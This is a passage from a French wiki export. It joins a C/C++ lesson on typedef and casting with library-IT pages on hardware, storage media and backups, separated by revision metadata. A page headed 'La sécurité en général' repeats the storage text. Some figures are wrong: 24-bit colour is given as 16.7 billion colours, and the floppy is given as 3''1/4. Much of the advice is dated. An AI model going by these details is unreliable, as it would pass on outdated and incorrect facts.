<nowiki> typedef struct client { unsigned int Age; unsigned int Taille; } Client; </nowiki> </pre> Client représente la structure client. Attention à ne pas confondre le nom de la structure (« struct client ») avec le nom de l'alias (« Client »). Note : Pour comprendre la syntaxe de ''typedef'', il suffit de raisonner de la manière suivante. Si l'on dispose d'une expression qui permet de déclarer une variable d'un type donné, alors il suffit de placer le mot clé ''typedef'' devant cette expression pour faire en sorte que l'identificateur de la variable devienne un identificateur de type. Par exemple, si on supprime le mot clé ''typedef'' dans la déclaration du type Client ci-dessus, alors Client devient une variable dont le type est struct client. Une fois ces définitions d'alias effectuées, on peut les utiliser comme n'importe quel type, puisqu'ils représentent des types : <pre> <nowiki> unsigned int i = 2, j; /* Déclare deux unsigned int */ tab Tableau; /* Déclare un tableau de 10 entiers */ Client John; /* Déclare une structure client */ John.Age = 35; /* Initialise la variable John */ John.Taille = 175; for (j=0; j<10; j = j+1) Tableau[j]=j; /* Initialise Tableau */ </nowiki> </pre> === Transtypages === Il est parfois utile de changer le type d'une valeur. Considérons l'exemple suivant : la division de 5 par 2 renvoie 2. En effet, 5/2 fait appel à la division euclidienne. Comment faire pour obtenir le résultat avec un nombre réel ? Il faut faire 5./2, car alors 5. est un nombre flottant. Mais que faire quand on se trouve avec des variables entières (i et j par exemple) ? Le compilateur signale une erreur après i dans l'expression i./j ! Il faut changer le type de l'une des deux variables. Cette opération s'appelle le ''transtypage''. On la réalise simplement en faisant précéder l'expression à transtyper du type désiré entouré de parenthèses : (type) expression ==== Exemple - Transtypage en C ==== int i=5, j=2; ((float) i)/j Dans cet exemple, i est transtypé en flottant avant la division. On obtient donc 2.5. Le transtypage C est tout puissant et peut être relativement dangereux. Le langage C++ fournit donc des opérateurs de transtypages plus spécifiques, qui permettent par exemple de conserver la constance des variables lors de leur transtypage. Ces opérateurs seront décrits dans la Section 10.2 du chapitre traitant de l'identification dynamique des types. Le matériel informatique des bibliothèques publiques 2956 27421 2005-12-23T11:48:43Z 196.206.202.64 /* Les enceintes */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] == Le matériel informatique des bibliothèques publiques == Dans une bibliothèque comme dans une entreprise ou une association, le matériel informatique peut se composer d'un ou plusieurs ordinateurs, éventuellement en réseau avec un serveur, un modem, des périphériques. Nous tenterons ici de passer en revue le matériel nécessaire pour le travail d'une bibliothèque, qu'il soit administratif, de gestion ou spécifique à la mission de lecture pu blique. Ou, encore, qu'il s'agisse du développement dans la bibliothèque d'un espace public numérique. Bien entendu, il n'est pas nécessaire d'être informaticien pour approcher l'informatisation de la bibliothèque. Il est cependant utile d'avoir quelques notions qui permettront à la fois d'envisager une utilisation maximale de l'outil mais aussi de pouvoir concevoir un cahier des charges et de pouvoir en discuter avec des fournisseurs potentiels. === L'ordinateur et son contenu === ==== L'ordinateur ==== L'ordinateur est une machine à traiter électroniquement les données. Dans les associations, on utilise généralement des micro-ordinateurs c'est-à-dire des ordinateurs de dimension réduite dont l'unité centrale est constituée d'un ou plusieurs microprocesseurs. Ces ordinateurs peuvent être réunis en réseau. A côté des ordinateurs de table, on peut également utiliser des ordinateurs mobiles de différents formats : l'ordinateur portable (laptop), l'ordinateur bloc-notes dont le format est voisin d'un bloc de feuilles A4 ou l'ordinateur de poche. Un serveur est un ordinateur dédié à l'administration d'un réseau informatique. Il gère l'accès aux ressources et aux périphériques et les connexions des différents utilisateurs. Un micro-ordinateur comprend une unité centrale, un écran, un clavier. Des périphériques peuvent y être reliés. Avant l'achat, il faut éventuellement vérifier que le micro-ordinateur est prévu pour être mis à niveau ou étendu. Si vous voulez un appareil qui réponde à vos besoins et seulement à ceux-ci, vous pouvez également contacter un assembleur et lui demander de construire votre ordinateur. Une bibliothèque peut s'équiper en matériel neuf ou pourrait acquérir, pour certaines tâches, du matériel de seconde main et reconditionné par des entreprises du secteur de l'économie sociale. Des utilisateurs préfèrent opter pour un macro-ordinateur c'est-à-dire un ordinateur central de grande puissance possédant des mémoires de taille importante, et apte à exécuter des opérations mettant en oeuvre de nombreux périphériques. ==== Le processeur ==== On appelle (micro)processeur l'ensemble des circuits intégrés qui assurent l'interprétation et l'exécution des instructions, effectuent les calculs et gèrent les flux d'informations qui circulent dans un ordinateur. La fréquence d'une horloge de microprocesseur est généralement exprimée en méga-hertz. Le hertz est l'unité servant à exprimer la fréquence, c'est-à-dire le nombre de répétitions par seconde d'un phénomène périodique. Un hertz correspond à une variation par seconde. Le processeur est gardé à la bonne température grâce à un radiateur et à un ventilateur. Dans l'offre publicitaire, on assiste à une véritable course avec des processeurs (le Pentium IV est couramment proposé) de plus en plus rapides. Les nouveaux ordinateurs équipés de ces processeurs sont surpuissants par rapport aux besoins d'une simple navigation sur le web ou d'une utilisation bureautique (pour lesquelles un Pentium II est suffisant). ==== La mémoire vive ==== La mémoire vive (ram ou Random Access Memory) est la mémoire principale d'un ordinateur. Son contenu peut être modifié et s'efface quand la machine n'est plus sous tension. C'est dans cette mémoire que sont chargés et exécutés tous les programmes y compris le programme d'exploitation. Quand l’ordinateur est allumé, il garde l’information mais si celle-ci n'est pas sauvegardée sur une mémoire permanente comme le disque dur ou une disquette; quand l’ordinateur est débranché, l’information est alors perdue. La ram se présente sous forme de barrettes. Ces barrettes comportent des broches de connexion (pins). ==== La mémoire morte ==== La mémoire morte (rom) contient des programmes intégrés qui dirigent les opérations de l'ordinateur. C'est cette mémoire qui travaille lorsqu'on allume l'ordinateur. ==== Le disque dur ==== Le disque dur (hard disk) est un support de stockage de forme cylindrique formé de plaques métalliques rigides enduites d'un revêtement magnétique. Sa capacité de stockage (soit la quantité d'informations pouvant être stockées) est exprimée en giga-octets. 1 Mo (méga-octet) vaut 1 024 Ko (kilo-octets) soit 1 048 576 octets 1 Go (giga-octet) vaut 1 024 Mo soit 1 073 741 824 octets) 1 octet (byte en anglais) vaut 8 bits. Le disque dur interne est le principal outil de stockage de données d'un ordinateur. Il contient un système d'exploitation. Un disque dur a une vitesse de rotation fixe de 4500 à 7200 tours/minute (actuellement, des disques durs tournant à 10.000 tours/minutes sont proposés). Le temps de recherche du disque est mesuré en millisecondes. Un modèle de base actuel d'ordinateur est vendu avec un disque dur d'une capacité minimale d'au moins 20 (plus souvent 40 ou 60 Go). La capacité est généralement moindre pour un ordinateur portable. Lorsque l'on change de PC, il est possible de récupérer l'ancien disque dur et de le placer dans un boîtier qui sera connecté au nouveau PC par un ca^ble USB. ==== Les cartes ==== Une carte est un support de circuits électroniques. Tout ordinateur doit être équipé d'une carte mère. Il peut être équipé d'une carte son, d'une carte graphique (jeux), d'une carte de capture vidéo. Les besoins administratifs sont généralement limités à une carte son mais une carte graphique est intéressante si l'on veut mettre à disposition des lecteurs des ordinateurs capables de lire des encyclopédies sur cédérom ou des jeux pédagogiques. ==== La carte mère ==== C'est sur cette carte mère que sont placés le processeur, la mémoire vive et les cartes d'extension. Sa capacité à évoluer détermine l'évolutivité de l'ordinateur. La place sur la carte mère où est mis le processeur est le socket. Le processeur et la carte mère doivent être compatibles. Les connecteurs d'extension de la carte mère sont destinés à y insérer les cartes d'extension de différents types (ISA – Industry Standard Architecture, PCI – Peripheral Component Interconnect, AGP – Accelerated Graphics Port). Le port sur une carte mère permet de connecter des périphériques. Il existe plusieurs types de ports : * série (par exemple pour brancher une souris, un modem extérieur) * parallèle (pour brancher une imprimante, un ZIP) * SCSI (par exemple pour brancher un disque dur) * USB (pour brancher une clé USB, un lecteur de disquette externe, une webcam,...). Il est conseillé d'opter pour une carte mère qui permet plusieurs types de ports. ==== Les cartes d'extension ==== Les cartes d’extension permettent à l’utilisateur d’étendre les capacités de son ordinateur. Elles sont reliées à la carte mère par une des trois interfaces standards (ISA, PCI, AGP). Parmi ces cartes d'extension : * la carte vidéo ou carte graphique; * la carte son; * la carte modem. ==== Le boitier ==== Le boitier renferme et protège les composants les plus importants de l'ordinateur (processeur, la mémoire vive, carte mère). Il se doit d'être pratique et évolutif. Il se présente soit sous la forme "desktop" c'est-à-dire à l'horizontale (on place alors généralement le moniteur sur ce desktop) soit la forme de tour ou "tower" (verticale) de format mini ("shuttle"), moyen ou grand. Une tour de grand format permet d'ajouter plus facilement des cartes d'extension, des unités de disque; une tour de format plus petit a l'avantage de prendre moins de place. Le boitier doit être compatible avec la carte mère. Chez Apple, le boitier peut ne pas être distinct du moniteur (eMac) ou lui servir de support (iMac). === Les périphériques === ==== L'écran ==== L'écran permet de visualiser les données. La dimension de l'écran est indiquée en pouces (1 pouce ou "inch" valant 2,54 cm); il s'agit en fait de la mesure de la diagonale de cet écran. Cette dimension était habituellement de 15 pouces; elle est souvent aujourd'hui étendue à 17 pouces, le format supérieur de 21 pouces (voire 22) étant davantage utilisé par des graphistes). On connaît deux principaux types d'écran. Les écrans des ordinateurs de bureau classiques utilisent un tube cathodique (CRT ou Cathod Ray Tube) comme pour les télévisions. Ils ont l'avantage d'être robustes et bon marché mais ces écrans sont encombrants contrairement aux écrans plats. L'écran à cristaux liquides (LCD pour Liquid Crystal Display) est utilisé pour les ordinateurs portables et s'est étendu aux ordinateurs de bureau. Il a pour avantages l'absence de dégagement de chaleur et de rayonnement. Il présente comme désavantages un manque de luminosité et d'uniformité, un contraste limité, des couleurs douteuses, un temps de réponse insuffisant et un angle de vision trop faible. Ce défaut est corrigé avec les écrans à matrice active (TFT ou Thin Film Transistor) qui ont supplanté les écrans à matrice passive (STN ou Supper Twisted Nematic) et permettent une excellente visibilité dans un champ étendu presque équivalent à celui d'un tube cathodique. Dernier type d'écran, aujourd'hui peu usité, les écrans à plasma. Ceux-ci peuvent être de plus grande taille que les écrans LCD. Leur consommation d'énergie est plus importante et leur prix beaucoup plus élevé. Les écrans se distinguent également par leur résolution, c'est-à-dire le nombre de pixels affichés sur l'horizontale par ceux affichés sur la verticale. Un pixel (abréviation de "picture element") est la plus petite composante d'une image numérique affichée sur écran.La résolution est en général de 640 x 480, 800 x 600, 1024 x 768 pour les petits écrans (14 à 17 pouces) et de 1280 x 1024, 1600 x 1200 pour les grands écrans (17 à 21 pouces). La fréquence de rafraîchissement verticale est également une notion importante. Il s'agit en fait du nombre de fois qu'une image est affichée à l'écran en une seconde. Elle se mesure en hertz (Hz) et on considère que la fréquence de rafraîchissement minimale pour une bonne clarté est de 75 Hz. Le prix de l'écran varie notamment en fonction de sa taille mais aussi de la résolution et de la fréquence de rafraîchissement verticale. L'écran plat est plus coûteux. ==== Le clavier ==== Le clavier (keyboard) permet la communication entre l'utilisateur et l'ordinateur. En Belgique francophone comme en France, le clavier azerty est d'usage. Un clavier étendu comprend de 102 à 105 touches dont des touches de fonction ou de raccourci. Ces touches permettent d'effectuer immédiatement une certaine fonction (exemple : Ctrl + C pour copier) ou d'appeler une fenêtre d’application (notes : [http://documents.wolfram.com/v4-fr/index36.html tous les raccourcis pour Windows et Macintosh]. Il n’est pas nécessaire de passer par le menu pour appeler la fonction désirée. Le clavier comprend normalement un pavé numérique. Il peut être parfois qualifié d'ergonomique car adapté au travail de longue durée sur clavier. Des claviers sans fil sont également disponibles. Des claviers à accessoires intégrés peuvent comprendre un "touchpad" (cette surface plane située à l'avant du clavier s'effleure du doigt pour simuler l'action d'une souris), un micro, des haut-parleurs, un réglage du volume,... ==== La souris ==== La souris (mouse) est un instrument interactif permettant de contrôler par le mouvement de la main la position d'un curseur affiché à l'écran et de sélectionner un élément ou d'appliquer une fonctionnalité en pressant sur un bouton. On différencie les souris mécaniques (bas de gamme) des souris opto-mécaniques ou optiques (plus précises). On connaît également les souris à fil et les souris sans fil (à infrarouge ou ondes radio). La souris peut être équipée d'un (Mac) ou deux boutons (PC) ainsi que d'une molette qui permet de "scroller" (scrolling signifie défilement) c'est-à-dire de faire monter ou descendre l'image sur l'écran (comme si l'"ascenseur" situé sur la droite de l'écran était activé). Sur le clavier d'ordinateurs portables, la souris peut être remplacée par un "trackball" (boule de commande), un "joystick" (littéralement manette de jeu) ou un "touchpad" (surface de contact). ==== Les enceintes ==== La carte son permet de traduire des signaux électroniques produits ou transformés par l'ordinateur en signaux audibles. Comme cette carte son ne dispose elle-même que de très peu de puissance sonore, ce sont des enceintes (haut-parleurs) contenant des amplificateurs de puissance et de qualité variables qui permettront d'entendre réellement ces sons. Un travail administratif classique ne nécessite pas habituellement l'emploi d'enceintes. Il existe cependant des possibilités d'utilisation du son, autres que dans le domaine de la musiqu-espaces (espaces publics numériques) : écoute de cédéroms audiovisuels, TV et radio en ligne... Dans les cyber-espaces de bibliothèques, on préfèrera les casques aux enceintes. ==== Le lecteur de disquette ==== Interne ou externe, le lecteur de disquette lit et enregistre les informations sur une disquette (3½ pouces) de 1,44 Mo. Le lecteur de disquettes n'est pas indispensable, les données pouvant être stockées sur le disque dur ou sur des supports virtuels par exemple. Apple n'inclut plus de lecteur de disquettes dans des produits comme l'eMac ou l'iMac. L'utilisateur qui souhaite transmettre ses données à un autre utilisateur doit donc utiliser l'Internet pour ce faire ou graver un cédérom. Il reste cependant possible d'ajouter un lecteur de disquettes externe ou un Zip ou, encore, de sauver ses données sur une clé USB. ==== Le lecteur de cédéroms ==== Généralement inclus dans les ordinateurs, le lecteur de cédéroms permet de lire les disques CD-ROM. L'information sur le disque est lue par une unité optique. Un lecteur de CD-ROM ne peut pas écrire sur le disque compact. Les lecteurs se distinguent par leur vitesse, par exemple 12X, 32X (c'est-à-dire 12 ou 32 fois la vitesse de base de 150 ko/s). ==== Le lecteur de DVD ==== Cette unité optique permet de visionner des films sous format DVD (Digital Versatil Disk). Les lecteurs sont fabriqués en deux vitesses : 1X et 2X. De plus en plus souvent intégré dans les configurations de base, cet accessoire n'avait pourtant pas d'utilité dans un environnement professionnel. Cependant, la diminution de prix du graveur de DVD le rend utile comme outil de stockage de données qui doivent donc pouvoir être lues. ==== L'imprimante ==== On distingue trois types d'imprimantes : * les imprimantes matricielles. Ces imprimantes à aiguilles (9 ou 24) sont les plus anciennes. Elles ont pour désavantages le manque de qualité de l'impression, la vitesse peu élevée et le bruit. * les imprimantes à jet d'encre. La tête d'impression envoie sur le papier des gouttelettes d'encre. Les imprimantes couleurs à jet d'encre peuvent être basées sur la trichromie (rouge, bleu, jaune avec mélange des couleurs), la quadrichromie (rouge, bleu, jaune et noir avec, éventuellement, possibilité de disposer de quatre têtes séparées), la polychromie (avec 5 ou 6 têtes de couleur et une tête noire). * les imprimantes laser. Rapides avec une qualité d'impression très élevée. Hors du milieu des graphistes, elles impriment généralement uniquement en noir. Les imprimantes se distinguent par leur résolution exprimée en nombre de points par pouce (ppp) en horizontal et en vertical que l'imprimante peut reproduire sur une feuille (la moyenne est d'environ 600*600ppp) ainsi que par le nombre de pages (imprimées) par minute (ppm soit au minimum 4 ppm pour les imprimantes à jet d'encre et 8 ppm pour les imprimantes laser d'entrée de gamme). A l'achat, le coût d'une imprimante matricielle est plus bas que celui d'une imprimante à jet d'encre qui est lui-même plus bas que celui d'une imprimante laser. Le choix d'imprimante est fondé premièrement sur les besoins (qualité et rapidité de l'impression, types de travaux) mais il faut également tenir compte du prix (en fonction du nombre de pages) et de la qualité des consommables (encre, papier). ==== Le scanner ==== Le scanner est chargé de la numérisation des images et de texte. On distingue les scanners à plat, les scanners à défilement (qui ne permettent pas de scanner un livre) ou les scanners à main. La qualité de la numérisation dépend de la résolution exprimée en points par pouce et du nombre de couleurs exprimé en bits (24 bits équivalant à 16,7 milliards de couleurs). L'image scannée peut être sauvegardée sous différents formats de fichiers. Un logiciel de reconnaissance optique des caractères (OCR) peut reconnaître automatiquement le contenu d'une page de texte numérisée et la transformer en fichier lisible par un logiciel de traitement de texte. Un scanner peut être facilement mis en réseau afin que tous les postes de la bibliothèque ou de son espace multimedia partagent cette ressource en matériel. ==== Le modem ==== Le modem (MODulateur-DEModulateur) est un appareil qui permet la transmission des données numériques par la liaison téléphonique. Il permet donc de relier les ordinateurs individuels à l'Internet ou d'envoyer des télécopies (fax). Il peut s'agir d’une carte d’extension (modem interne) ou d'un modem externe. Ce périphérique connecté au port série du PC peut aussi s'utiliser comme un fax ou un répondeur téléphonique quand l’ordinateur n’est pas allumé. Il présente l'avantage de ne pas utiliser d’emplacement sur la carte mère. La vitesse des modems en vente est mesurée en bauds par seconde (bps). Elle s'élève couramment maintenant à 56 kbps (auparavant 33,6 kbps) pour les modems standards (lignes téléphoniques classiques). C'est une vitesse théorique : la vitesse réelle dépend de facteurs tels que la qualité de la ligne téléphonique, la distance entre le modem et le central téléphonique, la capacité du prestataire de services Internet. Pour les modems ADSL ou câble, la vitesse peut atteindre plusieurs Mbps. Une vitesse rapide est beaucoup plus confortable pour la navigation sur le web et favorise le téléchargement de fichiers. ==== Le graveur de CD ==== Ce graveur permet de sauvegarder des données (textes, sons, images) sur un cédérom d'une taille de 650 Mo. ==== Le graveur de DVD ==== Ce graveur permet de sauvegarder des données informatiques ou vidéo sur support DVD. L'achat de ce type de matériel sera davantage envisagé pour des bibliothèques qui envisagent le DVD comme support de sauvegarde de données ou pour des espaces publics numériques qui favoriseraient la production multimédia. ==== La webcaméra ==== Une webcaméra ou webcam est une caméra reliée à l'ordinateur généralement par une connexion USB. Elle est composée de milliers de capteurs (CCD) qui transforment l'image en la numérisant. L'image est caractérisée par le nombre de pixels. La qualité d'une image d'une webcam (300 000 pixels en entrée de gamme) est inférieure à celle atteinte par les appareils photos numériques (quelques millions de pixels). Certaines webcams sont adaptées à la visioconférence et intègrent alors un micro(phone). Un micro externe peut également être utilisé. Pour procéder à une visioconférence, il faut s'appuyer sur un logiciel spécialisé comme, par exemple, Netmeeting (Microsoft). ==== L'appareil photo numérique ==== L'appareil photo numérique est de plus en plus populaire. Alors que l'appareil photo classique utilisant un support argentique nécessitait le passage par un laboratoire (sauf utilisation d'un Polaroïd) avant de pouvoir disposer des photos et d'en juger de la qualité, avec un appareil numérique, la qualité de la prise de vue peut être généralement vérifiée immédiatement et le résultat peut être stocké ou effacé s'il est insatisfaisant. Grâce à une connexion entre l'appareil et l'ordinateur, l'image peut y être transférée pour être retouchée si nécessaire, stockée (y compris dans des porte-photos virtuels), imprimée ou envoyée par mél. Les appareils sont habituellement livrés avec des logiciels de traitement d'image. Les appareils photos numériques se distinguent par : * leur résolution : le capteur CCD (Charge Coupled Device) a une capacité qui se compte en millions de pixels (mp). Un appareil d'entrée de gamme est suffisant s'il suffit de faire des photos pour illustrer un site web. Une résolution supérieure (au moins 2,3 mégapixels) sera exigée si l'utilisateur veut effectuer des impressions papier en format moyen. Plus la résolution est importante, plus la qualité s'améliore et plus l'espace mémoire est nécessaire; la capacité de stockage : si cette capacité définie en mégaoctets (Mo) est peu élevée, l'utilisateur devra acheter plusieurs cartes mémoire. Ces cartes mémoire qui font office de pellicule numérique existent sous divers formats (incompatibles). La mémoire est sollicitée à la prise de vue (lorsque l'appareil ne dispose pas d'un viseur optique) ou lors de la lecture des images sur l'écran LCD; * l'optique : le coût dépend de la qualité de l'optique et de la présence d'un zoom; * les fonctionnalités accessoires : par exemple, l'enregistrement audio ou vidéo. ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] Le stockage et la sauvegarde des données 2957 46433 2006-06-29T08:30:09Z 83.113.208.52 /* La disquette */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- == Le stockage et la sauvegarde des données == Les données sont habituellement stockées sur l'ordinateur de l'utilisateur ou un serveur auquel celui-ci est connecté. Cependant, la volatilité des données stockées sur un support informatique est très grande : il suffit de peu de chose pour que tout disparaisse. Il est donc utile de sauvegarder des données sur d'autres supports pour pouvoir les transférer, éventuellement à un autre utilisateur, ou par sécurité face aux risques de problème informatique, de vol, d'incendie,… Des notes de travail jusqu'au manuscrit d'un rapport en passant par des bases de données, la comptabilité…, toute une série de données devraient être prudemment stockées. En jargon informatique, on parle de faire des back up. On parle de sauvegarde incrémentale lorsque l'opération de sauvegarde permet de ne sauvegarder que les fichiers créés ou sauvegardés entre deux sauvegardes. Les systèmes plus perfectionnés de sauvegarde compressent les fichiers avant de les sauvegarder de manière à limiter les temps de transfert ainsi que l'espace utilisé. === Le stockage === Le stockage des données peut être effectué sur des supports physiques tels que disquettes, cédéroms, DVD, Zip (Iomega), qu'il faut pouvoir distinguer, classer et, éventuellement, placer en un autre endroit physique que le lieu où se trouve la station de travail. Ces données peuvent également être stockées sur des espaces virtuels. Examinons les différents supports de stockage. ==== Le disque dur supplémentaire ==== Ce deuxième disque dur peut éventuellement être glissé dans un casier extractible et donc emporté. Il peut également s'agir d'un disque externe dont la capacité varie généralement entre 20 et 80 Go (dans certaines gammes, la capacité varie entre 120 et 300 Go). Ce disque externe se branche aisément sur la machine (via un port Fire Wire ou USB). ==== La disquette ==== Support très courant, la disquette a une dimension de 3''1/4 et une capacité de 1,44 Mo. La disquette est bon marché, peu encombrante mais elle est relativement fragile, peu fiable et sa capacité est limitée. ==== La cartouche magnétique ==== La plus connue des cartouches magnétiques est la cartouche Zip de Iomega d'une capacité de 100 (équivalant à 70 disquettes), 250 Mo (équivalent à 173 disquettes) ou 750 Mo. Elle nécessite un lecteur/enregistreur branché sur le port parallèle ou USB de l'ordinateur. Le lecteur/enregistreur de Zip peut être déplacé d'un poste à l'autre. Il est également possible d'intégrer un lecteur Zip dans l'ordinateur. Les lecteurs de Zip de plus grande capacité peuvent lire des cartouches de moindre capacité mais ne peuvent enregistrer sur ces supports. ==== Le ruban magnétique de sauvegarde ==== Ce ruban magnétique de sauvegarde (ou tape back up, on l'appel aussi Bande DAT) permet de sauvegarder l'équivalent de 2.500 disquettes. Le système s'installe à l'intérieur du boitier d'ordinateur. ==== Les disques magnéto-optiques ==== Ces disques de 3,5 ou 5,25 ont des capacités variant entre 128 Mo et 5,2 Go. La durée d'archivage est censée être supérieure à 40 ans. Ce support est prisé dans le domaine de l'échange et de l'archivage de données. ==== Le cédérom ==== Le cédérom inscriptible (CD-R) ou réinscriptible (CD-RW) bénéficie d'une capacité de 650 ou 700 Mo (équivalent à 450 disquettes). Un CD-RW devrait pouvoir être reconverti un millier de fois. Ce support a l'avantage d'être résistant. Il a le désavantage de nécessiter un logiciel spécifique pour l'enregistrement des données. Le prix en est très bas puisqu'un CD-RW coûte autant que 5 disquettes avec une capacité 90 fois supérieure. ==== Le DVD ==== Le DVD peut lui aussi être inscriptible (DVD-R) et réinscriptible (DVD-RW). Sa capacité de 4,7 Go est 7 fois supérieure à celle du cédérom. C'est l'outil idéal pour le multimédia. La gravure nécessite aussi un logiciel spécifique. La diffusion de ce support de données est encore entravée par le coût à la fois du disque DVD lui-même et du graveur de DVD (en diminution cependant). ==== La carte mémoire ==== Ces cartes dotées d'une puce mémoire sont surtout utilisées dans le domaine du multimédia numérique (photographie, baladeur) pour enregistrer des informations (images fixes ou animées, fichiers) sur un espace réduit. Leur capacité est de 64 à 128 Mo. Les cartes mémoire souffrent de formats différents et d'incompatiblité (mais il existe des lecteurs multi-cartes). Le prix est considéré comme élevé en fonction de la capacité. ==== La mémoire USB ==== La mémoire USB se branche directement sur le port USB de l'ordinateur (fixe ou portable) où il est considéré comme un disque interne. Les opérations de transfert de fichiers s'effectuent donc simplement. La mémoire peut ensuite être branchée sur le port USB de n'importe quel autre ordinateur. Aucun pilote de périphérique n'est requis. On trouve maintenant plus rarement des clés USB d'une capacité de 16 ou 32 Mo, plus fréquemment des clés de 64, 128, 256, 512 Mo. On peut aussi en trouver d'une capacité de 1024 Mo (1 Go)ou plus. Le système est simple mais, à l'heure actuelle, le rapport prix-capacité est encore défavorable par rapport aux autres supports. ==== Le stockage externalisé ==== Le système le plus simple consiste à mettre en ligne ses données les plus importantes chez un prestataire gratuit (par exemple, les parties "Fichiers" ou "Porte-document" de Yahoo ou chez un prestataire spécialisé (Freedrive ou Xdrive, idrive) . Le système a l'avantage d'être bon marché sinon gratuit mais l'opération peut se révéler fastidieuse. Il existe des systèmes (par exemple Oodrive) permettant une sauvegarde sécurisée, à distance, automatique (à la fréquence et aux heures désirées) des données informatiques. Ces données peuvent être cryptées lors de leur transfert et stockées dans des locaux sécurisés. === La sauvegarde === La perte de données (textes, fichiers de membres, comptabilité) peut être extrêmement dommageable pour une association. La sauvegarde (back-up) consiste à copier le contenu d'un support de stockage sur un autre support afin que ce contenu ne soit par perdu en cas d'incident (vol, destruction) sur le premier support. On considère que, pour être efficace, la sauvegarde doit faire l'objet d'une stratégie, tenant compte du risque couru et de la contrainte imposée par l'opération de sauvegarde, du souci de sauvegarder tout ou partie des données, de la volonté de conserver plusieurs sauvegardes successives. Pour envisager une sauvegarde professionnelle, il faut tenir compte d'éléments tels que : la sauvegarde à partir d'un ou plusieurs site, à partir de serveurs ou de postes de travail (fixes ou itinérants), le volume de données à sauvegarder et son évolution potentielle, la plage horaire de sauvegarde, les systèmes d'exploitation des serveurs, les types de fichiers à sauvegarder,... La sauvegarde des données peut dépendre d'un acte volontaire de l'utilisateur qui prend la décision de les enregistrer sur l'un ou l'autre support. Il peut aussi s'agir d'un système de sauvegarde automatique; cette formule est conseillée même si elle n'exclut pas la vérification périodique des sauvegardes automatiques afin de s'assurer qu'elles ne causent pas de problèmes. Il est possible d'effectuer des sauvegardes simultanées de données en ayant recours à des disques durs en miroir localisés sur le même serveur ou sur des serveurs différents. Si l'un des disques est défectueux, on peut récupérer les données sur l'autre (pour autant qu'il ne s'agisse pas du même serveur présentant des problèmes). Il est vivement conseillé de disposer d'une sauvegarde "hors site". La sauvegarde peut être "virtuelle" dans le sens où vous utilisez l'Internet pour sauvegarder vos données (en réalité sur des serveurs distants). ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] La sécurité en général 2958 24444 2005-10-28T15:35:11Z 130.83.244.129 /* La mémoire USB */ pas durable * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- == Le stockage et la sauvegarde des données == Les données sont habituellement stockées sur l'ordinateur de l'utilisateur ou un serveur auquel celui-ci est connecté. Cependant, la volatilité des données stockées sur un support informatique est très grande : il suffit de peu de chose pour que tout disparaisse. Il est donc utile de sauvegarder des données sur d'autres supports pour pouvoir les transférer, éventuellement à un autre utilisateur, ou par sécurité face aux risques de problème informatique, de vol, d'incendie,… Des notes de travail jusqu'au tapuscrit d'un rapport en passant par des bases de données, la comptabilité…, toute une série de données devraient être prudemment stockées. En jargon informatique, on parle de faire des back up. On parle de sauvegarde incrémentale lorsque l'opération de sauvegarde permet de ne sauvegarder que les fichiers créés ou sauvegardés entre deux sauvegardes. Les systèmes plus perfectionnés de sauvegarde compressent les fichiers avant de les sauvegarder de manière à limiter les temps de transfert ainsi que l'espace utilisé. === Le stockage === Le stockage des données peut être effectué sur des supports physiques tels que disquettes, cédéroms, DVD, Zip (Iomega), qu'il faut pouvoir distinguer, classer et, éventuellement, placer en un autre endroit physique que le lieu où se trouve la station de travail. Ces données peuvent également être stockées sur des espaces virtuels. Examinons les différents supports de stockage. ==== Le disque dur supplémentaire ==== Ce 2e disque dur peut éventuellement être glissé dans un casier extractible et donc emporté. Il peut également s'agir d'un disque externe dont la capacité varie généralement entre 20 et 80 Go (dans certaines gammes, la capacité varie entre 120 et 300 Go). Ce disque externe se branche aisément sur la machine (via un port Fire Wire ou USB). ==== La disquette ==== Support très courant, la disquette a une dimension de 3''1/4 et une capacité de 1,44 Mo. La disquette est bon marché, peu encombrante mais elle est relativement fragile et sa capacité est limitée. Elle ne peut donc stocker des images de qualité ou des contenus multimédias. ==== La cartouche magnétique ==== La plus connue des cartouches magnétiques est la cartouche Zip de Iomega d'une capacité de 100 (équivalant à 70 disquettes), 250 Mo (équivalent à 173 disquettes) ou 750 Mo. Elle nécessite un lecteur/enregistreur branché sur le port parallèle, SCSI ou USB de l'ordinateur. Le lecteur/enregistreur de Zip peut être déplacé d'un poste à l'autre. Il est également possible d'intégrer un lecteur Zip dans l'ordinateur. Les lecteurs de Zip de plus grande capacité peuvent lire des cartouches de moindre capacité mais ne peuvent enregistrer sur ces supports. ==== Le ruban magnétique de sauvegarde ==== Ce ruban magnétique de sauvegarde (ou tape back up) permet de sauvegarder l'équivalent de 2.500 disquettes. Le système s'installe à l'intérieur du boitier d'ordinateur. ==== Les disques magnéto-optiques ==== Ces disques de 3,5 ou 5,25 ont des capacités variant entre 128 Mo et 5,2 Go. La durée d'archivage est censée être supérieure à 40 ans. Ce support est prisé dans le domaine de l'échange et de l'archivage de données. ==== Le cédérom ==== Le cédérom inscriptible (CD-R) ou réinscriptible (CD-RW) bénéficie d'une capacité de 650 ou 700 Mo (équivalent à 450 disquettes). Un CD-RW devrait pouvoir être reconverti un millier de fois. Ce support a l'avantage d'être résistant. Il a le désavantage de nécessiter un logiciel spécifique pour l'enregistrement des données. Le prix en est très bas puisqu'un CD-RW coûte autant que 5 disquettes avec une capacité 90 fois supérieure. ==== Le DVD ==== Le DVD peut lui aussi être inscriptible (DVD-R) et réinscriptible (DVD-RW). Sa capacité de 4,7 Go est 7 fois supérieure à celle du cédérom. C'est l'outil idéal pour le multimédia. La gravure nécessite aussi un logiciel spécifique. La diffusion de ce support de données est encore entravée par le coût à la fois du disque DVD lui-même et du graveur de DVD (en diminution cependant). ==== La carte mémoire ==== Ces cartes dotées d'une puce mémoire sont surtout utilisées dans le domaine du multimédia numérique (photographie, baladeur) pour enregistrer des informations (images fixes ou animées, fichiers) sur un espace réduit. Leur capacité est de 64 à 128 Mo. Les cartes mémoire souffrent de formats différents et d'incompatiblité (mais il existe des lecteurs multi-cartes). Le prix est considéré comme élevé en fonction de la capacité. ==== La mémoire USB ==== La mémoire USB se branche directement sur le port USB de l'ordinateur (fixe ou portable) où il est considéré comme un disque interne. Les opérations de transfert de fichiers s'effectuent donc 